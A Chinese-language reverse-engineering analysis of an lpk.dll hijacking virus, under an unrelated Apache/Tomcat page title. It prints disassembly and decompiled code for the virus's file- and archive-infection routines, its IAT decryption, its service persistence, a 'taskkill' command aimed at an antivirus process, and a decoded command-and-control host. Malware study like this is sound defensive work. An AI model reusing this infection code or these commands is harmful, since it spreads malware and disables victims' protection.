apache和tomcat整合:pk类病毒分析

来源:百度文库 编辑:中财网 时间:2024/04/30 16:50:08
lpk类病毒分析
病毒体来源http://www.52pojie.cn/thread-75591-1-1.html

除夕那天晚上写了个Lpk、并对lpk做了点研究、所以想必今天晚上看起来这些应该会方便很多、至于关于
lpk的文章请去我Blog参考笔记、这里就不废话了
我的Lpk.cpp
http://hi.baidu.com/hackernewyangjt/blog/item/a4e15a8241ccaab10df4d200.html
直接载入Lpk11.dll
  1. .text:10001A32 ; =============== S U B R O U T I N E =======================================
  2. .text:10001A32
  3. .text:10001A32
  4. .text:10001A32 ; BOOL __stdcall DllEntryPoint(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID
  5. lpReserved)
  6. .text:10001A32                 public DllEntryPoint
  7. .text:10001A32 DllEntryPoint   proc near
  8. .text:10001A32
  9. .text:10001A32 hLibModule      = dword ptr  4
  10. .text:10001A32 fdwReason       = dword ptr  8
  11. .text:10001A32 lpReserved      = dword ptr  0Ch
  12. .text:10001A32
  13. .text:10001A32                 cmp     [esp+fdwReason], 1
  14. .text:10001A37                 push    esi
  15. .text:10001A38                 jnz     short loc_10001AA9
  16. .text:10001A3A                 mov     esi, [esp+4+hLibModule]
  17. .text:10001A3E                 push    104h            ; nSize
  18. .text:10001A43                 push    offset ExistingFileName ; lpFilename
  19. .text:10001A48                 push    esi             ; hModule
  20. .text:10001A49                 mov     dword_10003290, esi
  21. .text:10001A4F                 call    ds:GetModuleFileNameW
  22. .text:10001A55                 push    esi             ; hLibModule
  23. .text:10001A56                 call    ds:DisableThreadLibraryCalls
  24. .text:10001A5C                 call    GetMutexName
  25. .text:10001A61                 cmp     eax, 1
  26. .text:10001A64                 jnz     short loc_10001AA2
  27. .text:10001A66                 call    IsVirusKernelFile  ;用来判断是否由病毒核
  28. 心进程释放
  29. .text:10001A6B                 test    eax, eax
  30. .text:10001A6D                 jnz     short loc_10001A7D
  31. .text:10001A6F                 call    CreateMutex
  32. .text:10001A74                 test    eax, eax
  33. .text:10001A76                 jnz     short loc_10001A7D
  34. .text:10001A78                 call    ExpandVirusKernel
  35. .text:10001A7D
  36. .text:10001A7D loc_10001A7D:                           ; CODE XREF: DllEntryPoint+3Bj
  37. .text:10001A7D                                         ; DllEntryPoint+44j
  38. .text:10001A7D                 call    IsCurrentFileLpk
  39. .text:10001A82                 cmp     eax, 1
  40. .text:10001A85                 jnz     short loc_10001AA2
  41. .text:10001A87                 push    0               ; lpName
  42. .text:10001A89                 push    0               ; bInitialState
  43. .text:10001A8B                 push    eax             ; bManualReset
  44. .text:10001A8C                 push    0               ; lpEventAttributes
  45. .text:10001A8E                 call    ds:CreateEventW
  46. .text:10001A94                 mov     hHandle, eax
  47. .text:10001A99                 test    eax, eax
  48. .text:10001A9B                 jz      short loc_10001AA2
  49. .text:10001A9D                 call    StartInfectThraed
  50. .text:10001AA2
  51. .text:10001AA2 loc_10001AA2:                           ; CODE XREF: DllEntryPoint+32j
  52. .text:10001AA2                                         ; DllEntryPoint+53j ...
  53. .text:10001AA2                 call    InitLpk
  54. .text:10001AA7                 jmp     short loc_10001AEC
  55. .text:10001AA9 ; ---------------------------------------------------------------------------

  56. 009119E6   /$  56            push    esi
  57. 009119E7                      |.  33F6          xor     esi, esi
  58. 009119E9                      |.  56            push    esi                              ;
  59. /pThreadId => NULL
  60. 009119EA                      |.  6A 04         push    4                                ; |
  61. CreationFlags = CREATE_SUSPENDED
  62. 009119EC                      |.  56            push    esi                              ; |
  63. pThreadParm => NULL
  64. 009119ED                      |.  68 D3189100   push                        ; |
  65. ThreadFunction =
  66. 009119F2                      |.  56            push    esi                              ; |
  67. StackSize => 0
  68. 009119F3                      |.  56            push    esi                              ; |
  69. pSecurity => NULL
  70. 009119F4                      |.  FF15 A0209100 call    dword ptr [<&KERNEL32.CreateThre>;
  71. \CreateThread
  72. 009118D3    .  81EC C4000000 sub     esp, 0C4
  73. 009118D9                       .  53            push    ebx
  74. 009118DA                       .  55            push    ebp
  75. 009118DB                       .  56            push    esi
  76. 009118DC                       .  57            push    edi
  77. 009118DD                       .  6A 60         push    60                               ;
  78. /Length = 60 (96.)
  79. 009118DF                       .  8D4424 78     lea     eax, dword ptr [esp+78]          ; |
  80. 009118E3                       .  50            push    eax                              ; |
  81. Destination
  82. 009118E4                       .  33FF          xor     edi, edi                         ; |
  83. 009118E6                       .  FF15 34209100 call    dword ptr [<&KERNEL32.RtlZeroMem>;
  84. \RtlZeroMemory
  85. 009118EC                       >  6A 02         push    2
  86. 009118EE                       .  5B            pop     ebx
  87. 009118EF                       .  8D6C24 74     lea     ebp, dword ptr [esp+74]
  88. 009118F3                       .  C74424 10 180>mov     dword ptr [esp+10], 18
  89. 009118FB                       >  837D 00 01    cmp     dword ptr [ebp], 1
  90. 009118FF                       .  74 5B         je      short 0091195C
  91. 00911901                       .  53            push    ebx
  92. 00911902                       .  FF15 B4209100 call    dword ptr [<&SHELL32.#64>]       ;  
  93. shell32.DriveType
  94. 00911908                       .  83C0 FE       add     eax, -2
  95. 0091190B                       .  83F8 02       cmp     eax, 2                           ;  类
  96. 型否为可感染类型?
  97. 0091190E                       .  77 4C         ja      short 0091195C
  98. 00911910                       .  33C0          xor     eax, eax
  99. 00911912                       .  50            push    eax                              ;
  100. /pThreadId => NULL
  101. 00911913                       .  6A 04         push    4                                ; |
  102. CreationFlags = CREATE_SUSPENDED
  103. 00911915                       .  53            push    ebx                              ; |
  104. pThreadParm
  105. 00911916                       .  68 77169100   push                             ; |
  106. ThreadFunction =
  107. 0091191B                       .  50            push    eax                              ; |
  108. StackSize => 0
  109. 0091191C                       .  50            push    eax                              ; |
  110. pSecurity => NULL
  111. 0091191D                       .  FF15 A0209100 call    dword ptr [<&KERNEL32.CreateThre>;
  112. \CreateThread
复制代码
来张图片
接下来的用ida分析
  1. signed int __stdcall Infect(LPCWSTR lpString1)
  2. {
  3.   const WCHAR *v2; // [url=mailto:eax@17]eax@17[/url]
  4.   struct _WIN32_FIND_DATAW FindFileData; // [sp+4h] [bp-668h]@6
  5.   WCHAR String2; // [sp+254h] [bp-418h]@4
  6.   WCHAR FileName; // [sp+45Ch] [bp-210h]@6
  7.   HANDLE hFindFile; // [sp+664h] [bp-8h]@6
  8.   int v7; // [sp+668h] [bp-4h]@1
  9.   const WCHAR *v8; // [sp+674h] [bp+8h]@17
  10.   v7 = 1;
  11.   if ( WaitForSingleObject(hHandle, 0) != 258 )
  12.     return 0;
  13.   if ( (unsigned int)lpString1 >= 0x100 )
  14.   {
  15.     lstrcpyW(&String2, lpString1);
  16.   }
  17.   else
  18.   {
  19.     lstrcpyW(&String2, L"A:\\");
  20.     String2 += (unsigned __int16)lpString1;
  21.   }
  22.   lstrcpyW(&FileName, &String2);
  23.   PathAppendW(&String2, &word_10002374);
  24.   hFindFile = FindFirstFileW(&String2, &FindFileData);
  25.   if ( hFindFile == (HANDLE)-1 )
  26.     return 1;
  27.   lstrcpyW(&String2, &FileName);
  28.   while ( 1 )
  29.   {
  30.     if ( !lstrcmpiW(FindFileData.cFileName, L".") || !lstrcmpiW(FindFileData.cFileName, L"..")
  31. )
  32.       goto LABEL_27;
  33.     if ( FindFileData.dwFileAttributes & 0x10 )
  34.       break;
  35.     v2 = PathFindExtensionW(FindFileData.cFileName);
  36.     v8 = v2;
  37.     if ( v2 )
  38.     {
  39.       if ( !lstrcmpiW(v2, L".EXE") )            // 目录下有exe就将lpk复制过去
  40.       {
  41.         lstrcpyW(&FileName, &String2);
  42.         PathAppendW(&FileName, L"lpk.dll");
  43.         if ( GetFileAttributesW(&FileName) != -1 )
  44.           goto LABEL_27;
  45.         CopyFileW(&ExistingFileName, &FileName, 1);
  46.         SetFileAttributesW(&FileName, 7u);
  47.       }
  48.       if ( !lstrcmpiW(v8, L".RAR") || !lstrcmpiW(v8, L".ZIP") )// 压缩包感染过程
  49.       {
  50.         if ( !FindFileData.nFileSizeHigh )
  51.         {
  52.           if ( FindFileData.nFileSizeLow < 0x3200000 )
  53.           {
  54.             lstrcpyW(&FileName, &String2);
  55.             PathAppendW(&FileName, FindFileData.cFileName);
  56.             InfectCompressFile(&FileName);
  57.           }
  58.         }
  59.       }
  60.     }
复制代码这个函数相对来说比较有意思
  1. DWORD __cdecl InfectCompressFile(int a1)
  2. {
  3.   DWORD result; // [url=mailto:eax@1]eax@1[/url]
  4.   wchar_t v2[2]; // [url=mailto:eax@3]eax@3[/url]
  5.   UINT v3; // [url=mailto:eax@6]eax@6[/url]
  6.   WCHAR CommandLine; // [sp+0h] [bp-824h]@6
  7.   WCHAR PathName; // [sp+410h] [bp-414h]@6
  8.   WCHAR FileName; // [sp+618h] [bp-20Ch]@1
  9.   const WCHAR String2; // [sp+61Ah] [bp-20Ah]@3
  10.   int v8; // [sp+820h] [bp-4h]@1
  11.   v8 = 520;
  12.   result = SHRegGetValueW(HKEY_CLASSES_ROOT, L"WinRAR\\shell\\open\\command", 0, 2, 0,
  13. &FileName, &v8);
  14.   if ( !result )
  15.   {
  16.     if ( FileName == 34 )
  17.     {
  18.       lstrcpyW(&FileName, &String2);
  19.       *(_DWORD *)v2 = L"\"";
  20.     }
  21.     else
  22.     {
  23.       *(_DWORD *)v2 = L" ";
  24.     }
  25.     result = StrStrIW(&FileName, *(_DWORD *)v2);
  26.     if ( result )
  27.     {
  28.       *(_WORD *)result = 0;
  29.       PathRemoveFileSpecW(&FileName);
  30.       PathAppendW(&FileName, L"rar.exe");
  31.       result = GetFileAttributesW(&FileName);
  32.       if ( result != -1 )
  33.       {
  34.         PathGetShortPath(&FileName);
  35.         GetTempPathW(MAX_PATH, &PathName);
  36.         v3 = GetCurrentThreadId();
  37.         GetTempFileNameW(&PathName, L"IRAR", v3, &PathName);
  38.         ((void (__cdecl *)(WCHAR *, _DWORD, WCHAR *, int, WCHAR *))wsprintfW)(
  39.           &CommandLine,
  40.           L"cmd /c %s vb \"%s\" lpk.dll|find /i \"lpk.dll\"",
  41.           &FileName,
  42.           a1,
  43.           &PathName);
  44.         result = UpdatePackage(&CommandLine, _MAX_WAIT_MALLOC_CRT);
  45.         if ( result )
  46.         {
  47.           wsprintfW(&CommandLine, L"\"%s\" x \"%s\" *.exe \"%s\\\"", &FileName, a1,
  48. &PathName);
  49.           UpdatePackage(&CommandLine, 0x1D4C0u);
  50.           Infect(&PathName);
  51.           wsprintfW(&CommandLine, L"\"%s\" a -r -ep1\"%s\" \"%s\" \"%s\\lpk.dll\"", &FileName,
  52. &PathName, a1, &PathName);
  53.           UpdatePackage(&CommandLine, 0x3A980u);
  54.           wsprintfW(&CommandLine, L"cmd /c RD /s /q \"%s\"", &PathName);
  55.           result = UpdatePackage(&CommandLine, _MAX_WAIT_MALLOC_CRT);
  56.         }
  57.       }
  58.     }
  59.   }
  60.   return result;
  61. }
复制代码- -其实也没啥深奥的东西……

以下是病毒释放出来的核心exe程序分析

有趣的IAT加密
用SOD申请一块内存空间、其实1个字节足以……懒得找空地了、浪费下……
decode
  1. FF 05 00 00 AF 00 A1 00 00 AF 00 6B C0 12 8D 80 3C 36 40 00 FF E0 FF 25 70 62 40 00 51 52 68 E0 8D 40 00 E9 00 00 00 00 68 78 69 40 00 E8 EE 02 00 00 5A 59 EB CA
复制代码将Decode复制到00403600
  1. 00403600   $  FF05 0000AF00 inc     dword ptr [AF0000]
复制代码然后将EIP设置到00403600直接运行、程序当掉以后IAT就解密了……
用这块代码把第一部分IAT解密出来了
  1. 00403636   .- FF25 E08D4000 jmp     dword ptr [408DE0]               ;  USER32.LoadIconA
  2. 0040363C   $  51            push    ecx
  3. 0040363D   .  52            push    edx
  4. 0040363E   .  68 DC8D4000   push    00408DDC
  5. 00403643   .^ E9 E0FFFFFF   jmp     00403628
  6. 00403648   .- FF25 DC8D4000 jmp     dword ptr [408DDC]               ;  USER32.wsprintfA
  7. 0040364E   $  51            push    ecx
  8. 0040364F   .  52            push    edx
  9. 00403650   .  68 D88D4000   push    00408DD8
  10. 00403655   .^ E9 CEFFFFFF   jmp     00403628
  11. 0040365A   .- FF25 D88D4000 jmp     dword ptr [408DD8]               ;  
  12. USER32.GetDesktopWindow
  13. 00403660   $  51            push    ecx
  14. 00403661   .  52            push    edx
  15. 00403662   .  68 E48D4000   push    00408DE4
  16. 00403667   .^ E9 BCFFFFFF   jmp     00403628
  17. 0040366C   .- FF25 E48D4000 jmp     dword ptr [408DE4]               ;  USER32.SetWindowLongA
  18. 00403672   $  51            push    ecx
  19. 00403673   .  52            push    edx
  20. 00403674   .  68 D08D4000   push    00408DD0
  21. 00403679   .^ E9 AAFFFFFF   jmp     00403628
  22. 0040367E   .- FF25 D08D4000 jmp     dword ptr [408DD0]               ;  USER32.SendMessageA
  23. 00403684   $  51            push    ecx
  24. 00403685   .  52            push    edx
  25. 00403686   .  68 CC8D4000   push    00408DCC
  26. 0040368B   .^ E9 98FFFFFF   jmp     00403628
  27. 00403690   .- FF25 CC8D4000 jmp     dword ptr [408DCC]               ;  USER32.DrawIcon
  28. 00403696   $  51            push    ecx
  29. 00403697   .  52            push    edx
  30. 00403698   .  68 C88D4000   push    00408DC8
  31. 0040369D   .^ E9 86FFFFFF   jmp     00403628
  32. 004036A2   .- FF25 C88D4000 jmp     dword ptr [408DC8]               ;  USER32.GetClientRect
  33. 004036A8   .  51            push    ecx
  34. 004036A9   .  52            push    edx
  35. 004036AA   .  68 C48D4000   push    00408DC4
  36. 004036AF   .^ E9 74FFFFFF   jmp     00403628
  37. 004036B4   .- FF25 C48D4000 jmp     dword ptr [408DC4]               ;  
  38. USER32.GetSystemMetrics
  39. 004036BA   $  51            push    ecx
  40. 004036BB   .  52            push    edx
  41. 004036BC   .  68 D48D4000   push    00408DD4
  42. 004036C1   .^ E9 62FFFFFF   jmp     00403628
  43. 004036C6   .- FF25 D48D4000 jmp     dword ptr [408DD4]               ;  USER32.IsIconic
  44. 004036CC   $  51            push    ecx
  45. 004036CD   .  52            push    edx
  46. 004036CE   .  68 E88D4000   push    00408DE8
  47. 004036D3   .^ E9 50FFFFFF   jmp     00403628
  48. 004036D8   .- FF25 E88D4000 jmp     dword ptr [408DE8]               ;  USER32.EnableWindow
  49. 00408DC4  77D18F9C  USER32.GetSystemMetrics
  50. 00408DC8  77D2908E  USER32.GetClientRect
  51. 00408DCC  77D3D06C  USER32.DrawIcon
  52. 00408DD0  77D2F3C2  USER32.SendMessageA
  53. 00408DD4  77D297FF  USER32.IsIconic
  54. 00408DD8  77D2D1D2  USER32.GetDesktopWindow
  55. 00408DDC  77D1A8AD  USER32.wsprintfA
  56. 00408DE0  77D2E8F6  USER32.LoadIconA
  57. 00408DE4  77D2C29D  USER32.SetWindowLongA
  58. 00408DE8  77D29849  USER32.EnableWindow
复制代码第二部分IAT解密用
  1. 004036D3   >^/E9 28FFFFFF   jmp     00403600
  2. 004036D8   .^|FF25 E88D4000 jmp     dword ptr [408DE8]               ;  ggmqgk.004036CC
  3. 004036DE   $ |51            push    ecx
  4. 004036DF   . |52            push    edx
  5. 004036E0   . |68 AC8D4000   push    00408DAC
  6. 004036E5   . |E9 00000000   jmp     004036EA
  7. 004036EA   > |68 98694000   push    00406998
  8. 004036EF   . |E8 2C020000   call    00403920
  9. 004036F4   . |5A            pop     edx
  10. 004036F5   . |59            pop     ecx
  11. 004036F6   .^\EB DB         jmp     short 004036D3
  12. 004036F8   .- FF25 AC8D4000 jmp     dword ptr [408DAC]               ;  advapi32.DeleteService
  13. 004036FE   $  51            push    ecx
  14. 004036FF   .  52            push    edx
  15. 00403700   .  68 B08D4000   push    00408DB0                         ;  ASCII "6L躻~i躻"
  16. 00403705   .^ E9 E0FFFFFF   jmp     004036EA
  17. 0040370A   .- FF25 B08D4000 jmp     dword ptr [408DB0]               ;  advapi32.OpenServiceA
  18. 00403710   $  51            push    ecx
  19. 00403711   .  52            push    edx
  20. 00403712   .  68 B48D4000   push    00408DB4                         ;  ASCII "~i躻"
  21. 00403717   .^ E9 CEFFFFFF   jmp     004036EA
  22. 0040371C   .- FF25 B48D4000 jmp     dword ptr [408DB4]               ;  
  23. advapi32.OpenSCManagerA
  24. 00403722   $  51            push    ecx
  25. 00403723   .  52            push    edx
  26. 00403724   .  68 A88D4000   push    00408DA8
  27. 00403729   .^ E9 BCFFFFFF   jmp     004036EA
  28. 0040372E   .- FF25 A88D4000 jmp     dword ptr [408DA8]               ;  advapi32.RegCloseKey
  29. 00403734   $  51            push    ecx
  30. 00403735   .  52            push    edx
  31. 00403736   .  68 A48D4000   push    00408DA4
  32. 0040373B   .^ E9 AAFFFFFF   jmp     004036EA
  33. 00403740   .- FF25 A48D4000 jmp     dword ptr [408DA4]               ;  
  34. advapi32.RegQueryValueExA
  35. 00403746   $  51            push    ecx
  36. 00403747   .  52            push    edx
  37. 00403748   .  68 A08D4000   push    00408DA0
  38. 0040374D   .^ E9 98FFFFFF   jmp     004036EA
  39. 00403752   .- FF25 A08D4000 jmp     dword ptr [408DA0]               ;  advapi32.RegOpenKeyExA
  40. 00403758   .  51            push    ecx
  41. 00403759   .  52            push    edx
  42. 0040375A   .  68 9C8D4000   push    00408D9C
  43. 0040375F   .^ E9 86FFFFFF   jmp     004036EA
  44. 00403764   .- FF25 9C8D4000 jmp     dword ptr [408D9C]               ;  
  45. advapi32.SetServiceStatus
  46. 0040376A   $  51            push    ecx
  47. 0040376B   .  52            push    edx
  48. 0040376C   .  68 988D4000   push    00408D98
  49. 00403771   .^ E9 74FFFFFF   jmp     004036EA
  50. 00403776   .- FF25 988D4000 jmp     dword ptr [408D98]               ;  
  51. advapi32.RegisterServiceCtrlHandlerA
  52. 0040377C   $  51            push    ecx
  53. 0040377D   .  52            push    edx
  54. 0040377E   .  68 948D4000   push    00408D94
  55. 00403783   .^ E9 62FFFFFF   jmp     004036EA
  56. 00403788   .- FF25 948D4000 jmp     dword ptr [408D94]               ;  
  57. advapi32.StartServiceCtrlDispatcherA
  58. 0040378E   $  51            push    ecx
  59. 0040378F   .  52            push    edx
  60. 00403790   .  68 908D4000   push    00408D90
  61. 00403795   .^ E9 50FFFFFF   jmp     004036EA
  62. 0040379A   .- FF25 908D4000 jmp     dword ptr [408D90]               ;  
  63. advapi32.CloseServiceHandle
  64. 004037A0   $  51            push    ecx
  65. 004037A1   .  52            push    edx
  66. 004037A2   .  68 8C8D4000   push    00408D8C
  67. 004037A7   .^ E9 3EFFFFFF   jmp     004036EA
  68. 004037AC   .- FF25 8C8D4000 jmp     dword ptr [408D8C]               ;  
  69. advapi32.RegSetValueExA
  70. 004037B2   $  51            push    ecx
  71. 004037B3   .  52            push    edx
  72. 004037B4   .  68 888D4000   push    00408D88
  73. 004037B9   .^ E9 2CFFFFFF   jmp     004036EA
  74. 004037BE   .- FF25 888D4000 jmp     dword ptr [408D88]               ;  advapi32.RegOpenKeyA
  75. 004037C4   $  51            push    ecx
  76. 004037C5   .  52            push    edx
  77. 004037C6   .  68 808D4000   push    00408D80
  78. 004037CB   .^ E9 1AFFFFFF   jmp     004036EA
  79. 004037D0   .- FF25 808D4000 jmp     dword ptr [408D80]               ;  advapi32.StartServiceA
  80. 004037D6   $  51            push    ecx
  81. 004037D7   .  52            push    edx
  82. 004037D8   .  68 848D4000   push    00408D84
  83. 004037DD   .^ E9 08FFFFFF   jmp     004036EA
  84. 004037E2   .- FF25 848D4000 jmp     dword ptr [408D84]               ;  
  85. advapi32.CreateServiceA
  86. 00408D80  77DBFB38  advapi32.StartServiceA
  87. 00408D84  77E071E9  advapi32.CreateServiceA
  88. 00408D88  77DAEFB8  advapi32.RegOpenKeyA
  89. 00408D8C  77DAEAD7  advapi32.RegSetValueExA
  90. 00408D90  77DB6CC5  advapi32.CloseServiceHandle
  91. 00408D94  77E07EB1  advapi32.StartServiceCtrlDispatcherA
  92. 00408D98  77DC4E96  advapi32.RegisterServiceCtrlHandlerA
  93. 00408D9C  77DC3231  advapi32.SetServiceStatus
  94. 00408DA0  77DA7842  advapi32.RegOpenKeyExA
  95. 00408DA4  77DA7AAB  advapi32.RegQueryValueExA
  96. 00408DA8  77DA6C17  advapi32.RegCloseKey
  97. 00408DAC  77E07489  advapi32.DeleteService
  98. 00408DB0  77DC4C36  advapi32.OpenServiceA
  99. 00408DB4  77DC697E  advapi32.OpenSCManagerA
复制代码- -不过解密这些意义不大……IDA都帮着分析出来了……解出来娱乐下自己而已……好了、剩下的代码类似
、大家有兴趣自己玩好了……
  1. .text:004029E0 ; =============== S U B R O U T I N E =======================================
  2. .text:004029E0
  3. .text:004029E0 ; Attributes: bp-based frame
  4. .text:004029E0
  5. .text:004029E0 OnInit          proc near               ; DATA XREF: .rdata:00406474o
  6. .text:004029E0
  7. .text:004029E0 ServiceStartTable= SERVICE_TABLE_ENTRYA ptr -10h
  8. .text:004029E0 var_8           = dword ptr -8
  9. .text:004029E0 var_4           = dword ptr -4
  10. .text:004029E0
  11. .text:004029E0                 push    ebp
  12. .text:004029E1 ; 8:   v1 = this;
  13. .text:004029E1                 mov     ebp, esp
  14. .text:004029E3                 sub     esp, 10h
  15. .text:004029E6                 push    esi
  16. .text:004029E7                 push    edi
  17. .text:004029E8                 mov     esi, ecx
  18. .text:004029EA ; 9:   CDialog__OnInitDialog();
  19. .text:004029EA                 call    [url=mailto:?OnInitDialog@CDialog@@UAEHXZ]?OnInitDialog@CDialog@@UAEHXZ[/url] ; CDialog::OnInitDialog
  20. (void)
  21. .text:004029EF ; 10:   SendMessageA(*((HWND *)v1 + 8), 128u, 1u, *((_DWORD *)v1 + 24));
  22. .text:004029EF                 mov     eax, [esi+60h]
  23. .text:004029F2                 mov     ecx, [esi+20h]
  24. .text:004029F5                 mov     edi, SendMessageA
  25. .text:004029FB                 push    eax             ; lParam
  26. .text:004029FC                 push    1               ; wParam
  27. .text:004029FE                 push    80h             ; Msg
  28. .text:00402A03                 push    ecx             ; hWnd
  29. .text:00402A04                 call    edi ; SendMessageA
  30. .text:00402A06 ; 11:   SendMessageA(*((HWND *)v1 + 8), 0x80u, 0, *((_DWORD *)v1 + 24));
  31. .text:00402A06                 mov     edx, [esi+60h]
  32. .text:00402A09                 mov     eax, [esi+20h]
  33. .text:00402A0C                 push    edx             ; lParam
  34. .text:00402A0D                 push    0               ; wParam
  35. .text:00402A0F                 push    80h             ; Msg
  36. .text:00402A14                 push    eax             ; hWnd
  37. .text:00402A15                 call    edi ; SendMessageA
  38. .text:00402A17 ; 12:   if ( v1 )
  39. .text:00402A17                 test    esi, esi
  40. .text:00402A19                 jnz     short loc_402A1F
  41. .text:00402A1B ; 15:     v2 = 0;
  42. .text:00402A1B                 xor     eax, eax
  43. .text:00402A1D                 jmp     short loc_402A22
  44. .text:00402A1F ; ---------------------------------------------------------------------------
  45. .text:00402A1F ; 13:     v2 = (HWND)*((_DWORD *)v1 + 8);
  46. .text:00402A1F
  47. .text:00402A1F loc_402A1F:                             ; CODE XREF: OnInit+39j
  48. .text:00402A1F                 mov     eax, [esi+20h]
  49. .text:00402A22 ; 16:   SetWindowLongA(v2, -20, 128);
  50. .text:00402A22
  51. .text:00402A22 loc_402A22:                             ; CODE XREF: OnInit+3Dj
  52. .text:00402A22                 push    80h             ; dwNewLong
  53. .text:00402A27                 push    0FFFFFFECh      ; nIndex
  54. .text:00402A29                 push    eax             ; hWnd
  55. .text:00402A2A                 call    SetWindowLongA
  56. .text:00402A30 ; 17:   CWnd__SetWindowPos(v1, 0, -100, -100, 0, 0, 1);
  57. .text:00402A30                 push    1
  58. .text:00402A32                 push    0
  59. .text:00402A34                 push    0
  60. .text:00402A36                 push    0FFFFFF9Ch
  61. .text:00402A38                 push    0FFFFFF9Ch
  62. .text:00402A3A                 push    0
  63. .text:00402A3C                 mov     ecx, esi
  64. .text:00402A3E                 call    [url=mailto:?SetWindowPos@CWnd@@QAEHPBV1@HHHHI@Z]?SetWindowPos@CWnd@@QAEHPBV1@HHHHI@Z[/url] ;
  65. CWnd::SetWindowPos(CWnd const *,int,int,int,int,uint)
  66. .text:00402A43 ; 18:   WinExec("taskkill /f /im ZhuDongFangYu.exe /t", 0);// - -这种方法也能杀
  67. 掉?作者脑子里进屎了、
  68. .text:00402A43                 nop
  69. .text:00402A44                 nop
  70. .text:00402A45                 nop
  71. .text:00402A46                 nop
  72. .text:00402A47                 nop
  73. .text:00402A48                 nop
  74. .text:00402A49                 nop
  75. .text:00402A4A                 nop
  76. .text:00402A4B                 nop
  77. .text:00402A4C                 nop
  78. .text:00402A4D                 nop
  79. .text:00402A4E                 nop
  80. .text:00402A4F                 nop
  81. .text:00402A50                 nop
  82. .text:00402A51                 nop
  83. .text:00402A52                 nop
  84. .text:00402A53                 nop
  85. .text:00402A54                 nop
  86. .text:00402A55                 nop
  87. .text:00402A56                 push    0               ; uCmdShow
  88. .text:00402A58                 push    offset CmdLine  ; "taskkill /f /im ZhuDongFangYu.exe
  89. /t"
  90. .text:00402A5D                 call    ds:WinExec
  91. .text:00402A63 ; 19:   if ( RegOpenKey() )
  92. .text:00402A63                 call    RegOpenKey
  93. .text:00402A68                 pop     edi
  94. .text:00402A69                 pop     esi
  95. .text:00402A6A                 test    eax, eax
  96. .text:00402A6C                 jz      short loc_402A9D
  97. .text:00402A6E ; 21:     ServiceStartTable.lpServiceName = "Distribuvbf";
  98. .text:00402A6E                 lea     ecx, [ebp+ServiceStartTable]
  99. .text:00402A71                 mov     [ebp+ServiceStartTable.lpServiceName], offset
  100. ServiceName ; "Distribuvbf"
  101. .text:00402A78 ; 22:     ServiceStartTable.lpServiceProc = (LPSERVICE_MAIN_FUNCTIONA)
  102. sub_402730;
  103. .text:00402A78                 push    ecx             ; lpServiceStartTable
  104. .text:00402A79                 mov     [ebp+ServiceStartTable.lpServiceProc], offset
  105. sub_402730
  106. .text:00402A80 ; 23:     v5 = 0;
  107. .text:00402A80                 mov     [ebp+var_8], 0
  108. .text:00402A87 ; 24:     v6 = 0;
  109. .text:00402A87                 mov     [ebp+var_4], 0
  110. .text:00402A8E ; 25:     StartServiceCtrlDispatcherA(&ServiceStartTable);
  111. .text:00402A8E                 call    StartServiceCtrlDispatcherA ; 存在就直接启动
  112. .text:00402A94 ; 39:   return 1;
  113. .text:00402A94
  114. .text:00402A94 loc_402A94:                             ; CODE XREF: OnInit+DBj
  115. .text:00402A94                 mov     eax, 1
  116. .text:00402A99                 mov     esp, ebp
  117. .text:00402A9B                 pop     ebp
  118. .text:00402A9C                 retn
  119. .text:00402A9D ; ---------------------------------------------------------------------------
  120. .text:00402A9D ; 29:     sub_402B40(
  121. .text:00402A9D ; 30:       "Distribuvbf",
  122. .text:00402A9D ; 31:       "Distribuihd Transaction Coordinator Service",
  123. .text:00402A9D ; 32:       "Distribucha Transaction Coordinator Service.");
  124. .text:00402A9D
  125. .text:00402A9D loc_402A9D:                             ; CODE XREF: OnInit+8Cj
  126. .text:00402A9D                 push    offset Data     ; "Distribucha Transaction Coordinator
  127. Ser"...
  128. .text:00402AA2                 push    offset DisplayName ; "Distribuihd Transaction
  129. Coordinator Ser"...
  130. .text:00402AA7                 push    offset ServiceName ; "Distribuvbf"
  131. .text:00402AAC                 call    RegServiceAndStart
  132. .text:00402AB1 ; 33:     if ( dword_409388 )
  133. .text:00402AB1                 mov     eax, dword_409388 ; 失败了就退出……
  134. .text:00402AB6                 add     esp, 0Ch
  135. .text:00402AB9                 test    eax, eax
  136. .text:00402ABB                 jz      short loc_402A94
  137. .text:00402ABD ; 35:       sub_402330();
  138. .text:00402ABD                 call    MoveFile        ; 0012F65C   0012F784  |NewName = "C:
  139. \DOCUME~1\ADMINI~1\LOCALS~1\Temp\SOFTWARE.LOG"
  140. .text:00402AC2 ; 36:       ExitProcess(0);
  141. .text:00402AC2                 push    0               ; uExitCode
  142. .text:00402AC4                 call    ds:ExitProcess
  143. .text:00402AC4 OnInit          endp
复制代码进程Init处理
肮脏的解密
  1. .text:004027E6 ; 20:   lpkInfect();
  2. .text:004027E6
  3. .text:004027E6 loc_4027E6:                             ; CODE XREF: sub_402730+A9j
  4. .text:004027E6                 call    lpkInfect
  5. .text:004027EB ; 21:   wsprintfA(&v0, "hra%u.dll", 33);
  6. .text:004027EB                 push    21h
  7. .text:004027ED                 lea     ecx, [esp+14h]
  8. .text:004027F1                 push    offset aHraU_dll ; "hra%u.dll"
  9. .text:004027F6                 push    ecx             ; LPSTR
  10. .text:004027F7                 call    wsprintfA
  11. .text:004027FD ; 22:   sub_402520(&v0);
  12. .text:004027FD                 lea     edx, [esp+1Ch]
  13. .text:00402801                 push    edx             ; pFileName
  14. .text:00402802                 call    sub_402520
  15. .text:00402807 ; 23:   LoadVirusLpk();
  16. .text:00402807                 call    LoadVirusLpk
  17. .text:0040280C ; 24:   decode((int)"s僼婸3344P弔?>6>6", strlen("s僼婸3344P弔?>6>6") - 1, 18);
  18. .text:0040280C                 mov     edi, offset aSgtlp3344pptz66 ; ;  ASCII
  19. "scrk.3322.org:8080"
  20. .text:0040280C                                         ; 解密以后的字符串
  21. .text:00402811                 or      ecx, 0FFFFFFFFh
  22. .text:00402814                 xor     eax, eax
  23. .text:00402816                 push    12h
  24. .text:00402818                 repne scasb
  25. .text:0040281A                 not     ecx
  26. .text:0040281C                 dec     ecx
  27. .text:0040281D                 push    ecx
  28. .text:0040281E                 push    offset aSgtlp3344pptz66 ; "s僼婸3344P弔?>6>6"
  29. .text:00402823                 call    decode
  30. .text:00402828 ; 25:   WSAStartup(0x202u, (struct WSAData *)((char *)&WSAData + 16));
  31. .text:00402828                 add     esp, 1Ch
  32. .text:0040282B                 lea     eax, [esp+294h+WSAData.szDescription+0Ch]
  33. .text:00402832                 push    eax             ; lpWSAData
  34. .text:00402833                 push    202h            ; wVersionRequested
  35. .text:00402838                 call    WSAStartup
